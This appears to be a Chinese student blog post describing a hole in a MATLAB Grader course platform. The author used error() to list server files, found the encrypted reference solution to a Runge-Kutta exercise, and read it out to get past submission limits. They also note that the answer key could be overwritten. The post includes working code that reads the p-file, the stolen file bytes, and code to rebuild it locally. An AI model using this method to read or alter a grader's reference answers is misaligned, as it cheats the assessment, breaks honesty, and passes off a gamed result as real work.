Skip to content

Grader 修改标准答案漏洞

数值分析课程需要在 Grader 上提交代码,但是在做“Runge-Kutta 方法”这一题时,老师少给了一个函数,所以思考怎么在不问老师的情况下获得函数定义。Grader 上可以使用 error 函数,将需要的信息返回到前端,于是我通过提交测试代码(error(ls(...))),发现标准答案在 +reference/RK4.p,已经使用 pcode 进行了加密,因此想到了两个方案:

  1. 将自己的函数加密后,提交到网站覆盖 p 文件,即修改标准答案;
  2. 读取 p 文件,然后在本地多次试验代码,绕过提交次数的限制。

经过测试,以上两个方案均可行,于是我选择了较为温和的第二个方案进行实际测试,通过 data = readp('RK4') 获取加密文件,如下代码中的 data 变量,之后通过 writep('RK4', data) 保存到本地后,与自己代码的结果进行比对,从而获得函数定义。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
%% RK4.p in grader
data = [118;48;49;46;48;48;118;48;48;46;48;48;0;3;176;28;68;199;255;177;0;0;0;106;0;0;0;158;0;0;0;219;162;242;130;186;91;205;75;116;100;208;18;176;142;50;60;25;27;84;190;124;83;176;154;228;91;143;4;176;23;85;61;180;72;223;17;167;19;51;173;207;216;146;158;220;85;171;122;59;135;147;244;164;18;9;64;186;255;138;4;92;106;132;160;21;35;214;158;244;13;43;145;58;134;104;9;225;10;154;14;142;91;67;82;48;254;241;178;241;173;249;29;236;123;196;242;158;182;55;97;175;31;46;190;60;111;189;145;216;244;0;32;148;153;162;142;146;175;56;179;117;208;223;25;36;100;85;9;86;169;211;205;177;43;40;68;172;119;220;170;117;16;34;230;57;7;172;181;215;142;118;243;253;234;215;115;54;70;221];
writep('RK4', data);

%% test RK4
[Dh, Derr] = deal(0, 0);
for n = 1: 5
    [h1, err1] = RK4(2^(n-1));
    [h2, err2] = RK4v2(2^(n-1));
    [Dh, Derr] = deal(Dh+abs(h1-h2), Derr+abs(err1-err2));
end
fprintf('Δh=%f, Δerr=%f\n', Dh, Derr);  % Δh=0.000000, Δerr=0.000000

%% utilities
function output(data)  %#ok
    % Get output in Grader
    %
    % Argument:
    %     data: vector
    error(mat2str(data));
end

function data = readp(name)  %#ok
    % Read pcode files in binary mode
    %
    % Argument:
    %     name: str
    %
    % Output:
    %     data: vector
    fid = fopen(['+', 'reference', '/', name, '.p'], 'rb');
    data = fread(fid);
    fclose(fid);
end

function writep(name, data)
    % Write pcode files in binary mode
    %
    % Argument:
    %     name: str
    %     data: vector
    %
    fid = fopen([name, '.p'], 'wb');
    fwrite(fid, data);
    fclose(fid);
end

function [h, err] = RK4v2(n)
    % Runge-Kutta 4 for y'=y and y(0)=1
    %
    % Argument:
    %     n: int
    %
    % Output:
    %     h: float
    %     err: float
    %
    h = 1 / n;
    y = polyval([1/24, 1/6, 1/2, 1, 1], h) ^ n;
    err = abs(y - exp(1));
end